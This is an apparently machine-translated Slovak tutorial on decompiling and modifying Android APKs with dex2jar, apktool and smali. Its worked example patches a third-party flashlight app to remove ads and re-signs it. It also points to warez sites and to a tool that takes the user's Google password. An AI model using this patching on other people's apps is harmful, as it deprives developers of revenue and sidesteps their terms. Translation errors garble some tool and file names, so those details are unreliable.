  • jd-gui je samotný dekompilátor, ktorý vám umožňuje získať čitateľný kód Java z bytecode JVM. Prípadne môžete použiť Jad (www.varanecas.com/jad); hoci je dosť starý, v niektorých prípadoch generuje čitateľnejší kód ako Jd-gui.

Mali by sa používať takto. Najprv spustíme dex2jar, pričom ako argument uvedieme cestu k balíku apk:

%dex2jar.sh mail.apk

Výsledkom je, že balík Java mail.jar sa zobrazí v aktuálnom adresári, ktorý už možno otvoriť v jd-gui a zobraziť kód Java.

Usporiadanie balíkov APK a ich získanie

Balík aplikácií pre Android je v podstate obyčajný súbor ZIP, ktorý na zobrazenie obsahu a rozbalenie nevyžaduje žiadne špeciálne nástroje. Stačí mať archivátor - 7zip pre Windows alebo rozbalenie konzoly v Linuxe. Ale to je o obale. Čo je vo vnútri? Vo vnútri máme vo všeobecnosti nasledujúcu štruktúru:

  • META-INF/- obsahuje digitálny certifikát aplikácie, ktorý potvrdzuje jej tvorcu a kontrolné súčty súborov balíkov;
  • res/ - rôzne zdroje, ktoré aplikácia používa pri svojej práci, ako sú obrázky, deklaratívny popis rozhrania a ďalšie údaje;
  • AndroidManifest.xml- popis aplikácie. Patrí sem napríklad zoznam požadovaných povolení, požadovaná verzia Androidu a požadované rozlíšenie obrazovky;
  • triedy.dex- skompilovaný bajtový kód aplikácie pre virtuálny stroj Dalvik;
  • zdroje.arsc- tiež zdroje, ale iného druhu - najmä reťazce (áno, tento súbor možno použiť na rusifikáciu!).

Uvedené súbory a adresáre sú, ak nie vo všetkých, tak možno vo veľkej väčšine súborov APK. Za zmienku však stojí niekoľko menej bežných súborov/adresárov:

  • aktíva- analógia zdrojov. Hlavný rozdiel je v tom, že na prístup k zdroju potrebujete poznať jeho identifikátor, zatiaľ čo zoznam aktív je možné získať dynamicky pomocou metódy AssetManager.list() v kóde aplikácie;
  • lib- natívne linuxové knižnice napísané pomocou NDK (Native Development Kit).

Tento adresár využívajú výrobcovia hier, kam umiestňujú svoj herný engine napísaný v C/C++, ako aj tvorcovia výkonných aplikácií (napríklad Google Chrome). Rozumel zariadeniu. Ale ako získať súbor balíka aplikácie, ktorá vás zaujíma? Keďže nie je možné získať súbory APK zo zariadenia bez rootovania (sú v adresári / data / app) a rootovanie nie je vždy vhodné, existujú najmenej tri spôsoby, ako dostať súbor aplikácie do počítača:

  • rozšírenie APK Downloader pre Chrome;
  • Aplikácia Real APK Leecher;
  • rôzny hosting súborov a warezniki.

Ktorý z nich použiť, je vecou vkusu; uprednostňujeme používanie samostatných aplikácií, preto popíšeme použitie Real APK Leecher, najmä preto, že je napísaný v jazyku Java, a teda bude fungovať aj vo Windowse, dokonca aj v nixe.

Po spustení programu je potrebné vyplniť tri polia: Email, Heslo a ID zariadenia – a vybrať jazyk. Prvé dva sú e-mail a heslo vášho účtu Google, ktorý používate na zariadení. Tretím je ID zariadenia a môžete ho získať vytočením kódu na číselníku # #8255## a potom nájsť riadok ID zariadenia. Pri vypĺňaní je potrebné zadať iba ID bez predpony android-.

Po vyplnení a uložení sa často objaví hlásenie „Chyba pri pripájaní k serveru“. Nemá to nič spoločné s Google Play, takže to pokojne ignorujte a hľadajte balíčky, ktoré vás zaujímajú.

Kontrola a úprava

Povedzme, že ste našli balík, ktorý vás zaujíma, stiahli ste si ho, rozbalili ... a keď ste sa pokúsili zobraziť nejaký súbor XML, s prekvapením ste zistili, že súbor nie je textový súbor. Ako ho dekompilovať a ako celkovo pracovať s balíkmi? Je naozaj potrebné nainštalovať SDK? Nie, nepotrebujete inštalovať SDK. V skutočnosti sú pre všetky kroky na rozbalenie, úpravu a zabalenie balíkov APK potrebné nasledujúce nástroje:

  • ZIP archivátor na vybaľovanie a balenie;
  • malý- assembler/disassembler bajtkódu virtuálneho stroja Dalvik (code.google.com/p/smali);
  • aapt- nástroj na balenie zdrojov (v predvolenom nastavení sú zdroje uložené v binárnej forme, aby sa optimalizoval výkon aplikácie). Zahrnuté so súpravou Android SDK, ale možno ho získať samostatne;
  • Signatár- nástroj na digitálne podpisovanie upraveného balíka (bit.ly/Rmrv4M).

Všetky tieto nástroje môžete použiť samostatne, ale je to nepohodlné, preto je lepšie použiť softvér vyššej úrovne postavený na ich základe. Ak používate Linux alebo Mac OS X, existuje nástroj s názvom apktool . Umožňuje vám rozbaliť zdroje do ich pôvodnej podoby (vrátane binárnych súborov XML a arsc), prebudovať balík s upravenými prostriedkami, ale nevie, ako balíky podpisovať, takže budete musieť spustiť utilitu signer manuálne. Napriek tomu, že je utilita napísaná v jazyku Java, jej inštalácia je dosť neštandardná. Najprv musíte získať samotný súbor jar:

$ cd /tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

$ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~/bin $ mv apktool-install-linux-r05-ibot/* ~/bin $ export PATH=~/bin:$PATH

Ak pracujete na Windows, tak je tu na to výborný nástroj s názvom Virtual Ten Studio , ktorý všetky tieto nástroje kumuluje aj (vrátane samotného apktool), no namiesto CLI rozhrania poskytuje používateľovi intuitívne grafické rozhranie, s ktorým vykonať operácie na rozbalenie, rozloženie a dekompiláciu niekoľkými kliknutiami. Tento nástroj je Donation-ware, to znamená, že okná sa niekedy objavia s návrhom na získanie licencie, ale to sa v konečnom dôsledku dá tolerovať. Nemá zmysel to popisovať, pretože rozhranie pochopíte za pár minút. Ale apktool, vzhľadom na jeho konzolovú povahu, by sa mal podrobnejšie rozobrať.


Zvážte možnosti apktool. Stručne povedané, existujú tri hlavné príkazy: d (dekódovanie), b (zostavenie) a if (inštalácia rámca). Ak je všetko jasné s prvými dvoma príkazmi, čo potom robí tretí, podmienený operátor? Rozbalí špecifikovaný rámec používateľského rozhrania, ktorý je potrebný pri pitve systémového balíka.

Zvážte najzaujímavejšie možnosti prvého príkazu:

  • -s- nerozoberajte dex súbory;
  • -r- nerozbaľujte zdroje;
  • -b- nevkladajte informácie o ladení do výsledkov demontáže súboru dex;
  • --frame-path- namiesto vstavaného nástroja apktool použite špecifikovaný rámec používateľského rozhrania. Teraz zvážte niekoľko možností pre príkaz b:
  • -f- nútená montáž bez kontroly zmien;
  • -a- zadajte cestu k aapt (nástroj na vytvorenie archívu APK), ak ho z nejakého dôvodu chcete použiť z iného zdroja.

Používanie apktool je veľmi jednoduché, všetko, čo musíte urobiť, je zadať jeden z príkazov a cestu k súboru APK, napríklad:

$ apktool d mail.apk

Potom sa všetky extrahované a rozložené súbory balíkov objavia v poštovom adresári.

Príprava. Zakázať reklamy

Teória je, samozrejme, dobrá, ale načo je potrebná, keď nevieme, čo s rozbaleným balíkom? Skúsme aplikovať teóriu vo svoj vlastný prospech, teda upravíme nejaký softvér tak, aby nám nezobrazoval reklamy. Nech je to napríklad Virtual Torch – virtuálna pochodeň. Pre nás je tento softvér dokonalý, pretože je plný otravných reklám a je dostatočne jednoduchý na to, aby sa nestratil v divočine kódu.


Takže pomocou jednej z vyššie uvedených metód si stiahnite aplikáciu z trhu. Ak sa rozhodnete použiť Virtuous Ten Studio, stačí otvoriť APK súbor v aplikácii a rozbaliť ho, pre ktorý vytvorte projekt (Súbor -> Nový projekt), potom z kontextového menu projektu vyberte Importovať súbor. Ak vaša voľba padla na apktool, stačí vykonať jeden príkaz:

$ apktool d com.kauf.particle.virtualtorch.apk

Potom sa v adresári com.kauf.particle.virtualtorch objaví strom súborov, podobný tomu, ktorý je popísaný v predchádzajúcej časti, ale s dodatočným malým adresárom namiesto súborov dex a súborom apktool.yml. Prvý obsahuje rozložený kód spustiteľného dex súboru aplikácie, druhý obsahuje servisné informácie, ktoré apktool potrebuje na zostavenie balíka späť.

Prvé miesto, kam sa musíme pozrieť, je samozrejme AndroidManifest.xml. A tu sa okamžite stretávame s nasledujúcim riadkom:

Je ľahké uhádnuť, že je zodpovedná za udelenie povolení aplikácii na používanie internetového pripojenia. V skutočnosti, ak sa chceme len zbaviť reklám, s najväčšou pravdepodobnosťou nám postačí, keď aplikáciu zakážeme na internete. Skúsme to urobiť. Odstráňte zadaný riadok a pokúste sa skompilovať softvér pomocou apktool:

$ apktool b com.kauf.particle.virtualtorch

Výsledný súbor APK sa objaví v adresári com.kauf.particle.virtualtorch/build/. Nedá sa však nainštalovať, pretože nemá digitálny podpis a kontrolné súčty súborov (jednoducho nemá adresár META-INF/). Balík musíme podpísať pomocou pomôcky apk-signer. Spustený. Rozhranie tvoria dve záložky – na prvej (Key Generator) vytvárame kľúče, na druhej (APK Signer) podpisujeme. Ak chcete vytvoriť náš súkromný kľúč, vyplňte nasledujúce polia:

  • Cieľový súbor- výstupný súbor úložiska kľúčov; zvyčajne obsahuje jeden pár kľúčov;
  • heslo A Potvrďte- heslo pre ukladanie;
  • alias- názov kľúča v úložisku;
  • Aliasové heslo A Potvrďte- heslo tajného kľúča;
  • Platnosť- Doba platnosti (v rokoch). Predvolená hodnota je optimálna.

Zvyšné polia sú vo všeobecnosti voliteľné – musíte však vyplniť aspoň jedno.


POZOR

Ak chcete podpísať aplikáciu pomocou nástroja apk-signer, musíte si nainštalovať Android SDK a zadať úplnú cestu k nej v nastaveniach aplikácie.

Všetky informácie sú poskytované len na informačné účely. Redakcia ani autor nezodpovedajú za prípadné škody spôsobené materiálmi tohto článku.

Teraz môžete podpísať súbor APK pomocou tohto kľúča. Na karte APK Signer vyberte novo vygenerovaný súbor, zadajte heslo, alias kľúča a heslo k nemu, potom nájdite súbor APK a odvážne kliknite na tlačidlo „Podpísať“. Ak všetko prebehne v poriadku, balík bude podpísaný.

INFO

Keďže sme balík podpísali vlastným kľúčom, bude v konflikte s pôvodnou aplikáciou, čo znamená, že keď sa pokúsime aktualizovať softvér cez market, dostaneme chybu.

Iba softvér tretích strán potrebuje digitálny podpis, takže ak upravujete systémové aplikácie, ktoré sú nainštalované ich skopírovaním do adresára /system/app/, nemusíte ich podpisovať.

Potom balík pustíme do smartfónu, nainštalujeme a spustíme. Voila, reklama je preč! Namiesto toho sa však objavilo hlásenie, že nemáme internet alebo nemáme príslušné povolenia. Teoreticky by to mohlo stačiť, ale správa vyzerá nepríjemne a, aby som bol úprimný, práve sme mali šťastie na hlúpu aplikáciu. Dobre napísaný softvér s najväčšou pravdepodobnosťou objasní svoje poverenia alebo skontroluje internetové pripojenie a inak jednoducho odmietne spustiť. Ako byť v tomto prípade? Samozrejme, upravte kód.

Autori aplikácií zvyčajne vytvárajú špeciálne triedy na zobrazovanie reklám a volajú metódy týchto tried počas spúšťania aplikácie alebo jednej z jej „činností“ (jednoducho povedané, obrazovky aplikácie). Pokúsme sa nájsť tieto triedy. Ideme do adresára smali, potom com (v org je len otvorená grafická knižnica cocos2d), potom kauf (presne tam, pretože toto je meno vývojára a je tam celý jeho kód) - a tu to je, marketingový adresár. Vo vnútri nájdeme kopu súborov s príponou malá. Sú to triedy a najvýznamnejšou z nich je trieda Ad.smali, podľa názvu ktorej je ľahké uhádnuť, že zobrazuje reklamy.

Mohli by sme zmeniť logiku jeho práce, ale oveľa jednoduchšie by bolo hlúpe odstrániť volania ktorejkoľvek z jeho metód zo samotnej aplikácie. Preto opustíme marketingový adresár a prejdeme do susedného adresára častíc a potom do virtualtorch. Osobitnú pozornosť si tu zaslúži súbor MainActivity.smali. Toto je štandardná trieda Androidu, ktorá je generovaná súpravou Android SDK a nastavená ako vstupný bod do aplikácie (analogicky k hlavnej funkcii v C). Otvorte súbor na úpravu.

Vnútri je malý kód (lokálny assembler). Je dosť neprehľadná a ťažko čitateľná kvôli svojej nízkoúrovňovej povahe, takže ju nebudeme študovať, ale jednoducho nájdeme všetky zmienky o triede Ad v kóde a zakomentujeme ich. Vo vyhľadávaní zadáme reťazec „Reklama“ a dostaneme sa na riadok 25:

Pole súkromná reklama:Lcom/kauf/marketing/Ad;

Tu sa vytvorí poľná reklama na uloženie objektu triedy Ad. Komentujeme nastavením znaku ### pred riadok. Pokračujeme v pátraní. Riadok 423:

New-instance v3, Lcom/kauf/marketing/Ad;

Tu vzniká objekt. Komentujeme. Pokračujeme v hľadaní a nachádzame v riadkoch 433, 435, 466, 468, 738, 740, 800 a 802 volania metód triedy Ad. Komentujeme. Vyzerá to tak. Ušetríme. Teraz je potrebné balík zložiť späť a skontrolovať jeho výkon a prítomnosť reklamy. Kvôli čistote experimentu vrátime riadok odstránený z AndroidManifest.xml, vyzdvihneme balík, podpíšeme ho a nainštalujeme.

Náš pokusný králik. Viditeľná reklama

Op-pa! Reklama zmizla iba počas spustenia aplikácie, ale zostala v hlavnom menu, ktoré vidíme pri spustení softvéru. Takže počkajte, ale vstupným bodom je trieda MainActivity a reklama počas behu aplikácie zmizla, ale zostala v hlavnom menu, takže vstupný bod je iný? Aby sme odhalili skutočný vstupný bod, znova otvoríme súbor AndroidManifest.xml. A áno, obsahuje nasledujúce riadky:

Hovoria nám (a čo je dôležitejšie, Android), že aktivita s názvom Štart by mala byť spustená ako odpoveď na vygenerovanie zámeru (udalosti) android.intent.action.MAIN z kategórie android.intent.category.LAUNCHER. Táto udalosť sa generuje, keď klepnete na ikonu aplikácie v spúšťači, takže definuje vstupný bod, konkrétne triedu Štart. S najväčšou pravdepodobnosťou programátor najprv napísal aplikáciu bez hlavnej ponuky, ktorej vstupným bodom bola štandardná trieda MainActivity, a potom pridal nové okno (aktivitu) obsahujúce ponuku a popísané v triede Štart a manuálne z nej urobil položku. bod.

Otvoríme súbor Start.smali a opäť hľadáme riadok „Ad“, v riadkoch 153 a 155 nájdeme zmienku o triede FirstAd. Nachádza sa aj v zdrojovom kóde a súdiac podľa názvu je zodpovedný za zobrazovanie reklám na hlavnej obrazovke. Pozrieme sa ďalej, je tu vytvorenie inštancie triedy FirstAd a zámeru, podľa kontextu súvisiaceho s touto inštanciou, a potom označenie cond_10, na ktoré sa podmienený prechod vykoná presne pred vytvorením inštancie triedy. :

If-ne p1, v0, :cond_10 .riadok 74 new-instance v0, Landroid/content/Intent; ... :cond_10

S najväčšou pravdepodobnosťou program nejako náhodne vypočíta, či je potrebné zobrazovať reklamy na hlavnej obrazovke, a ak nie, skočí priamo na cond_10. Dobre, zjednodušíme jej úlohu a nahradíme podmienený prechod bezpodmienečným:

#if-ne p1, v0, :cond_10 goto:cond_10

V kóde už nie sú žiadne zmienky o FirstAd, takže súbor zatvoríme a znova zostavíme našu virtuálnu baterku pomocou apktool. Skopírujte do smartfónu, nainštalujte, spustite. Voilá, všetky reklamy sú preč, blahoželáme nám všetkým.

Výsledky

Tento článok je len stručným úvodom do spôsobov otvárania a úpravy aplikácií pre Android. Mnoho problémov zostalo v zákulisí, ako napríklad odstránenie ochrany, analýza zahmleného kódu, preklad a nahradenie prostriedkov aplikácie, ako aj úprava aplikácií napísaných pomocou Android NDK. Mať základné vedomosti, pochopiť toto všetko je však len otázkou času.